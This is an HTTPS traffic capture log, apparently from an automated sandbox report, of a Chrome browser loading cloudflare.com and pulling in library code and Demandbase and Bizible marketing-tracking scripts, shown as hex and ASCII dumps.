2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 2e 70 61 72 73 65 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 7d 2c 70 3d 63 2e 42 75 66 66 65 72 65 64 42 6c 6f 63 6b 41 6c 67 6f 72 69 74 68 6d 3d 75 2e 65 78 74 65 6e 64 28 7b 72 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 64 61 74 61 3d 6e 65 77 20 73 2e 69 6e 69 74 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 3d 30 7d 2c 5f 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 68 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 Data Ascii: ion(t){return d.parse(unescape(encodeURIComponent(t)))}},p=c.BufferedBlockAlgorithm=u.extend({reset:function(){this._data=new s.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=h.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigByt
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 65 28 72 29 26 26 28 69 3c 38 26 26 28 63 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 75 5b 69 5d 3d 6e 28 74 2e 70 6f 77 28 72 2c 31 2f 33 29 29 2c 69 2b 2b 29 2c 72 2b 2b 7d 28 29 3b 76 61 72 20 73 3d 5b 5d 2c 6c 3d 61 2e 53 48 41 32 35 36 3d 6f 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 69 2e 69 6e 69 74 28 63 2e 73 6c 69 63 65 28 30 29 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 72 3d 6e 5b 30 5d 2c 69 3d 6e 5b 31 5d 2c 6f 3d 6e 5b 32 5d 2c 61 3d 6e 5b 33 Data Ascii: r(var r=2,i=0;i<64;)e(r)&&(i<8&&(c[i]=n(t.pow(r,.5))),u[i]=n(t.pow(r,1/3)),i++),r++}();var s=[],l=a.SHA256=o.extend({_doReset:function(){this._hash=new i.init(c.slice(0))},_doProcessBlock:function(t,e){for(var n=this._hash.words,r=n[0],i=n[1],o=n[2],a=n[3
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 72 20 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 68 69 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 79 70 65 6f 66 20 74 2b 22 20 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 69 74 65 72 61 62 6c 65 28 63 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 79 20 53 79 6d 62 6f 6c 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 29 22 29 29 3b 76 61 72 20 72 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 72 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 69 3d 72 2e 6c 65 6e 67 74 Data Ascii: r i=function(t){return new this((function(e,n){if(!t\|\|void 0===t.length)return n(new TypeError(typeof t+" "+t+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(t);if(0===r.length)return e([]);var i=r.lengt
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 76 6f 69 64 20 64 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 76 6f 69 64 20 70 28 28 72 3d 6e 2c 69 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 61 70 70 6c 79 28 69 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 63 61 74 63 68 28 65 29 7b 66 28 74 2c 65 29 7d 76 61 72 20 72 2c 69 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 64 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 74 65 26 26 30 3d 3d 3d 74 2e 5f 64 65 66 65 72 72 65 64 73 2e 6c 65 6e 67 74 68 26 26 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e Data Ascii: void d(t);if("function"==typeof n)return void p((r=n,i=e,function(){r.apply(i,arguments)}),t)}t._state=1,t._value=e,d(t)}catch(e){f(t,e)}var r,i}function f(t,e){t._state=2,t._value=e,d(t)}function d(t){2===t._state&&0===t._deferreds.length&&u._immediateFn
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 28 74 29 7d 29 29 7d 2c 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 75 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 21 61 28 74 29 29 72 65 74 75 72 6e 20 6e 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 75 2e 72 65 73 6f 6c 76 65 28 74 5b 72 5d 29 2e 74 68 65 6e 28 65 2c 6e 29 7d 29 29 7d 2c 75 2e 5f 69 6d 6d 65 64 69 61 74 65 46 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 65 74 49 6d 6d 65 64 69 61 74 65 Data Ascii: turn new u((function(e,n){n(t)}))},u.race=function(t){return new u((function(e,n){if(!a(t))return n(new TypeError("Promise.race accepts an array"));for(var r=0,i=t.length;r<i;r++)u.resolve(t[r]).then(e,n)}))},u._immediateFn="function"==typeof setImmediate
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 68 72 6f 77 22 3d 3d 3d 69 29 74 68 72 6f 77 20 6f 3b 72 65 74 75 72 6e 20 43 28 29 7d 66 6f 72 28 6e 2e 6d 65 74 68 6f 64 3d 69 2c 6e 2e 61 72 67 3d 6f 3b 3b 29 7b 76 61 72 20 61 3d 6e 2e 64 65 6c 65 67 61 74 65 3b 69 66 28 61 29 7b 76 61 72 20 63 3d 67 28 61 2c 6e 29 3b 69 66 28 63 29 7b 69 66 28 63 3d 3d 3d 6c 29 63 6f 6e 74 69 6e 75 65 3b 72 65 74 75 72 6e 20 63 7d 7d 69 66 28 22 6e 65 78 74 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 6e 2e 73 65 6e 74 3d 6e 2e 5f 73 65 6e 74 3d 6e 2e 61 72 67 3b 65 6c 73 65 20 69 66 28 22 74 68 72 6f 77 22 3d 3d 3d 6e 2e 6d 65 74 68 6f 64 29 7b 69 66 28 22 73 75 73 70 65 6e 64 65 64 53 74 61 72 74 22 3d 3d 3d 72 29 74 68 72 6f 77 20 72 3d 22 63 6f 6d 70 6c 65 74 65 64 22 2c 6e 2e 61 72 67 3b 6e 2e 64 69 73 70 61 74 63 68 Data Ascii: hrow"===i)throw o;return C()}for(n.method=i,n.arg=o;;){var a=n.delegate;if(a){var c=g(a,n);if(c){if(c===l)continue;return c}}if("next"===n.method)n.sent=n._sent=n.arg;else if("throw"===n.method){if("suspendedStart"===r)throw r="completed",n.arg;n.dispatch
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 29 7d 28 69 2c 6f 2c 72 2c 61 29 7d 29 29 7d 72 65 74 75 72 6e 20 72 3d 72 3f 72 2e 74 68 65 6e 28 61 2c 61 29 3a 61 28 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 2e 69 74 65 72 61 74 6f 72 5b 65 2e 6d 65 74 68 6f 64 5d 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6e 29 7b 69 66 28 65 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 7b 69 66 28 74 2e 69 74 65 72 61 74 6f 72 2e 72 65 74 75 72 6e 26 26 28 65 2e 6d 65 74 68 6f 64 3d 22 72 65 74 75 72 6e 22 2c 65 2e 61 72 67 3d 76 6f 69 64 20 30 2c 67 28 74 2c 65 29 2c 22 74 68 72 6f 77 22 3d 3d 3d 65 2e 6d 65 74 68 6f 64 29 29 72 65 74 75 72 6e 20 6c 3b 65 2e 6d 65 74 68 6f 64 3d 22 74 68 72 6f 77 22 2c 65 2e 61 72 67 3d 6e 65 Data Ascii: )}(i,o,r,a)}))}return r=r?r.then(a,a):a()}}function g(t,e){var n=t.iterator[e.method];if(void 0===n){if(e.delegate=null,"throw"===e.method){if(t.iterator.return&&(e.method="return",e.arg=void 0,g(t,e),"throw"===e.method))return l;e.method="throw",e.arg=ne
2024-10-18 13:48:12 UTC	1378	IN	Data Raw: 61 74 6f 72 46 75 6e 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 72 65 74 75 72 6e 21 21 65 26 26 28 65 3d 3d 3d 64 7c 7c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 3d 3d 3d 28 65 2e 64 69 73 70 6c 61 79 4e 61 6d 65 7c 7c 65 2e 6e 61 6d 65 29 29 7d 2c 74 2e 6d 61 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 68 29 3a 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 68 2c 63 28 74 2c 61 2c 22 47 65 6e 65 72 61 74 6f 72 46 75 6e 63 74 69 6f 6e 22 29 29 2c 74 2e 70 Data Ascii: atorFunction=function(t){var e="function"==typeof t&&t.constructor;return!!e&&(e===d\|\|"GeneratorFunction"===(e.displayName\|\|e.name))},t.mark=function(t){return Object.setPrototypeOf?Object.setPrototypeOf(t,h):(t.__proto__=h,c(t,a,"GeneratorFunction")),t.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	50775	18.239.50.124	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:11 UTC	543	OUT	GET /1be41a80498a5b73.min.js HTTP/1.1 Host: tag.demandbase.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	860	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 64734 Connection: close Last-Modified: Thu, 17 Oct 2024 13:51:57 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: aYeOA6UPTpCQ72yXR.OcDtZqea_P7JQj Accept-Ranges: bytes Server: AmazonS3 Date: Fri, 18 Oct 2024 13:16:01 GMT Cache-Control: public, max-age=3600 ETag: "47951ea2a5280279f832b39c9899512a" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 46e82159f07d7f814d9b72723b038152.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P3 X-Amz-Cf-Id: gWDzssjszcQLX2UX0zUET_fjwRFPWqAS8BwYPn31b-NqB3m2LKWTvQ== Age: 1932 Strict-Transport-Security: max-age=63072000; includeSubDomains; preload permissions-policy: accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=(), interest-cohort=()
2024-10-18 13:48:12 UTC	16384	IN	Data Raw: 28 28 29 3d 3e 7b 6c 65 74 20 65 3d 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 7c 7c 7b 6c 6f 67 28 29 7b 7d 2c 64 65 62 75 67 28 29 7b 7d 7d 2c 69 3d 77 69 6e 64 6f 77 2e 4a 53 4f 4e 7c 7c 7b 73 74 72 69 6e 67 69 66 79 28 29 7b 7d 2c 70 61 72 73 65 28 29 7b 7d 7d 2c 6c 3d 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 63 6f 6e 73 6f 6c 65 3d 65 2c 74 68 69 73 2e 4a 53 4f 4e 3d 69 7d 69 6e 64 65 78 4f 66 28 65 2c 69 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 72 72 61 79 2e 69 6e 64 65 78 4f 66 20 63 61 6c 6c 65 64 20 6f 6e 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 3f 65 2e 69 6e 64 65 78 4f 66 Data Ascii: (()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf
2024-10-18 13:48:12 UTC	16384	IN	Data Raw: 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5c 2e 5b 30 2d 39 5d 7b 31 2c 33 7d 5d 29 7c 28 28 5b 61 2d 7a 41 2d 5a 5c 2d 30 2d 39 5d 2b 5c 2e 29 2b 5b 61 2d 7a 41 2d 5a 5d 7b 32 2c 7d 29 29 24 2f 2e 74 65 73 74 28 65 29 7d 65 73 63 61 70 65 52 65 67 45 78 70 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 5b 2e 2a 2b 3f 5e 24 7b 7d 28 29 7c 5b 5c 5d 5c 5c 5c 2f 5d 2f 67 2c 22 5c 5c 24 26 22 29 7d 6e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 28 69 29 7b 76 61 72 20 74 3d 5b 5d 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 69 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 2e 70 75 73 68 28 69 5b 65 5d 29 3b 72 65 74 75 72 6e 20 74 7d 69 6e 63 6c 75 64 65 73 28 65 2c 69 29 7b 72 65 74 75 72 6e 21 28 21 69 7c 7c 69 2e 6c 65 6e Data Ascii: [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])\|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/.test(e)}escapeRegExp(e){return e.replace(/[.*+?^${}()\|[\]\\\/]/g,"\\$&")}nodeListToArray(i){var t=[];for(let e=0;e<i.length;e++)t.push(i[e]);return t}includes(e,i){return!(!i\|\|i.len
2024-10-18 13:48:12 UTC	16384	IN	Data Raw: 74 4c 69 73 74 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 69 3b 65 2b 2b 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 61 73 73 65 74 4c 69 73 74 5b 65 5d 3b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 60 73 63 72 69 70 74 5b 73 72 63 3d 27 24 7b 63 2e 50 52 4f 54 4f 43 4f 4c 7d 24 7b 74 7d 27 5d 60 29 3f 28 74 68 69 73 2e 76 61 6c 75 65 73 5b 74 5d 3d 21 30 2c 74 68 69 73 2e 73 65 6e 64 28 74 29 29 3a 74 68 69 73 2e 76 61 6c 75 65 73 5b 74 5d 3d 21 31 7d 7d 73 65 6e 64 28 65 29 7b 76 61 72 20 65 3d 45 72 72 6f 72 28 74 68 69 73 2e 45 52 52 4f 52 5f 4d 45 53 53 41 47 45 5f 50 52 45 46 49 58 2b 65 29 3b 75 2e 73 65 6e 64 28 65 29 7d 7d 63 6c 61 73 73 20 49 20 65 78 74 65 6e Data Ascii: tList.length;for(let e=0;e<i;e++){var t=this.configuration.assetList[e];document.querySelector(`script[src='${c.PROTOCOL}${t}']`)?(this.values[t]=!0,this.send(t)):this.values[t]=!1}}send(e){var e=Error(this.ERROR_MESSAGE_PREFIX+e);u.send(e)}}class I exten
2024-10-18 13:48:12 UTC	15582	IN	Data Raw: 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 28 73 2e 69 6e 63 6c 75 64 65 73 28 22 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 22 29 26 26 28 65 3d 22 75 72 6c 28 22 2b 65 2b 22 29 22 29 2c 64 2e 73 65 74 28 72 2c 73 2c 65 29 2c 67 2e 6c 6f 67 28 22 61 70 70 6c 79 4d 6f 64 69 66 69 63 61 74 69 6f 6e 52 65 74 72 79 28 29 3a 20 53 75 63 63 65 73 73 66 75 6c 6c 79 20 61 70 70 6c 69 65 64 20 66 6f 72 20 73 65 6c 65 63 74 6f 72 3a 20 22 2b 6f 2b 22 20 61 66 74 65 72 20 22 2b 6e 2b 22 20 61 74 74 65 6d 70 74 73 2e 22 29 2c 74 28 21 30 29 29 3a 28 67 2e 6c 6f 67 28 22 61 70 70 6c 79 4d 6f 64 69 66 69 63 61 74 69 6f 6e 52 65 74 72 79 28 29 3a 20 4e 6f 20 63 68 61 6e 67 65 20 61 63 74 69 6f 6e 20 61 70 70 6c 69 65 64 20 66 6f 72 20 73 Data Ascii: eturn"string"==typeof e?(s.includes("backgroundImage")&&(e="url("+e+")"),d.set(r,s,e),g.log("applyModificationRetry(): Successfully applied for selector: "+o+" after "+n+" attempts."),t(!0)):(g.log("applyModificationRetry(): No change action applied for s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	50774	152.195.15.58	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:12 UTC	535	OUT	GET /scripts/bizible.js HTTP/1.1 Host: cdn.bizible.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:12 UTC	376	IN	HTTP/1.1 200 OK Age: 59556 Cache-Control: max-age=86400 Content-Type: application/x-javascript Date: Fri, 18 Oct 2024 13:48:12 GMT Etag: "86620de5420db1:0+ident" Last-Modified: Thu, 17 Oct 2024 05:24:41 GMT Server: ECS (lhd/359D) Strict-Transport-Security: max-age=31536000; includeSub Vary: Accept-Encoding X-Cache: HIT Content-Length: 68594 Connection: close
2024-10-18 13:48:12 UTC	16383	IN	Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 51 3d 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 28 6e 2c 6d 2c 72 29 7b 76 61 72 20 74 3d 6e 2e 6c 65 6e 67 74 68 2c 70 2c 76 3b 6d 3d 6d 7c 7c 5b 30 5d 3b 72 3d 72 7c 7c 30 3b 76 61 72 20 77 3d 72 3e 3e 3e 33 3b 69 66 28 30 21 3d 3d 74 25 32 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 74 72 69 6e 67 20 6f 66 20 48 45 58 20 74 79 70 65 20 6d 75 73 74 20 62 65 20 69 6e 20 62 79 74 65 20 69 6e 63 72 65 6d 65 6e 74 73 22 29 3b 66 6f 72 28 70 3d 30 3b 70 3c 74 3b 70 2b 3d 32 29 7b 76 61 72 20 78 3d 70 61 72 73 65 49 6e 74 28 6e 2e 73 75 62 73 74 72 28 70 2c 32 29 2c 31 36 29 3b 69 66 28 69 73 4e 61 4e 28 78 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 74 72 69 6e Data Ascii: (function(){var Q={};(function(d){function l(n,m,r){var t=n.length,p,v;m=m\|\|[0];r=r\|\|0;var w=r>>>3;if(0!==t%2)throw Error("String of HEX type must be in byte increments");for(p=0;p<t;p+=2){var x=parseInt(n.substr(p,2),16);if(isNaN(x))throw Error("Strin
2024-10-18 13:48:12 UTC	1	IN	Data Raw: 61 Data Ascii: a
2024-10-18 13:48:12 UTC	16383	IN	Data Raw: 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 28 61 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 61 63 74 69 6f 6e 22 29 29 26 26 28 61 3d 61 2e 76 61 6c 75 65 29 26 26 61 2e 6d 61 74 63 68 28 2f 73 61 6c 65 73 66 6f 72 63 65 5c 2e 63 6f 6d 5c 2f 73 65 72 76 6c 65 74 5c 2f 73 65 72 76 6c 65 74 5c 2e 77 65 62 74 6f 6c 65 61 64 2f 69 29 3f 0a 21 30 3a 21 31 7d 3b 62 2e 53 68 6f 75 6c 64 41 74 74 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 2e 53 65 74 74 69 6e 67 4d 61 6e 61 67 65 72 2e 47 65 74 44 65 74 61 63 68 46 6f 72 6d 52 65 67 45 78 70 28 29 2c 63 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 72 65 74 75 72 6e 21 61 7c 7c 21 61 2e 74 65 73 74 28 63 29 7d 3b 62 2e 41 74 74 Data Ascii: d=function(a){return(a=a.getAttributeNode("action"))&&(a=a.value)&&a.match(/salesforce\.com\/servlet\/servlet\.webtolead/i)?!0:!1};b.ShouldAttach=function(){var a=d.SettingManager.GetDetachFormRegExp(),c=document.location.href;return!a\|\|!a.test(c)};b.Att
2024-10-18 13:48:12 UTC	16383	IN	Data Raw: 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 28 29 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 2c 63 2e 73 72 63 3d 61 7d 7d 3b 62 2e 43 72 65 61 74 65 41 73 79 6e 63 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 61 2e 61 73 79 6e 63 3d 21 30 3b 72 65 74 75 72 6e 20 61 7d 3b 62 2e 50 75 73 68 50 61 67 65 56 69 65 77 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 0a 7b 5f 62 69 7a 5f 72 3a 64 6f 63 75 6d 65 6e 74 Data Ascii: ScriptElement(),document.getElementsByTagName("head")[0].appendChild(c),c.src=a}};b.CreateAsyncScriptElement=function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;return a};b.PushPageView=function(a){var c={_biz_r:document
2024-10-18 13:48:12 UTC	16383	IN	Data Raw: 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 70 6f 72 74 55 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 50 75 73 68 28 22 55 73 65 72 22 2c 6c 29 7d 3b 64 2e 70 72 6f 74 6f 74 79 70 65 2e 41 74 74 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 74 68 69 73 2e 5f 71 75 65 75 65 2e 6c 65 6e 67 74 68 3b 62 2b 2b 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 5f 71 75 65 75 65 5b 62 5d 3b 6c 2e 50 75 73 68 28 61 2e 74 79 70 65 2c 61 2e 64 61 74 61 29 7d 74 68 69 73 2e 5f 63 61 6c 6c 62 61 63 6b 73 2e 70 75 73 68 28 6c 29 7d 3b 0a 72 65 74 75 72 6e 20 64 7d 28 29 3b 77 69 6e 64 6f 77 2e 42 69 7a 69 62 6c 65 3d 77 69 6e 64 6f 77 2e 42 69 7a 69 62 6c 65 7c 7c 7b 5f 71 75 65 75 65 3a 5b Data Ascii: };d.prototype.ReportUser=function(l){return this.Push("User",l)};d.prototype.Attach=function(l){for(var b=0;b<this._queue.length;b++){var a=this._queue[b];l.Push(a.type,a.data)}this._callbacks.push(l)};return d}();window.Bizible=window.Bizible\|\|{_queue:[
2024-10-18 13:48:12 UTC	3061	IN	Data Raw: 62 2e 70 72 6f 74 6f 74 79 70 65 2e 43 68 65 63 6b 44 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 5f 64 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 21 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 7b 76 61 72 20 61 3d 7b 5f 62 69 7a 5f 72 3a 74 68 69 73 2e 5f 64 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 2c 5f 62 69 7a 5f 68 3a 64 2e 55 74 69 6c 73 2e 47 65 74 43 6c 69 65 6e 74 48 61 73 68 28 29 7d 3b 64 2e 43 6f 6d 6d 2e 50 75 73 68 41 6e 64 53 75 62 6d 69 74 28 22 69 70 76 22 2c 61 29 3b 74 68 69 73 2e 5f 64 6f 63 75 6d 65 6e 74 4c 6f 63 61 74 69 6f 6e 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 7d 7d 3b 62 2e 41 74 74 61 63 68 43 68 61 74 Data Ascii: b.prototype.CheckDocumentLocation=function(){if(this._documentLocation!=document.location.href){var a={_biz_r:this._documentLocation,_biz_h:d.Utils.GetClientHash()};d.Comm.PushAndSubmit("ipv",a);this._documentLocation=document.location.href}};b.AttachChat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	50781	54.73.195.97	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
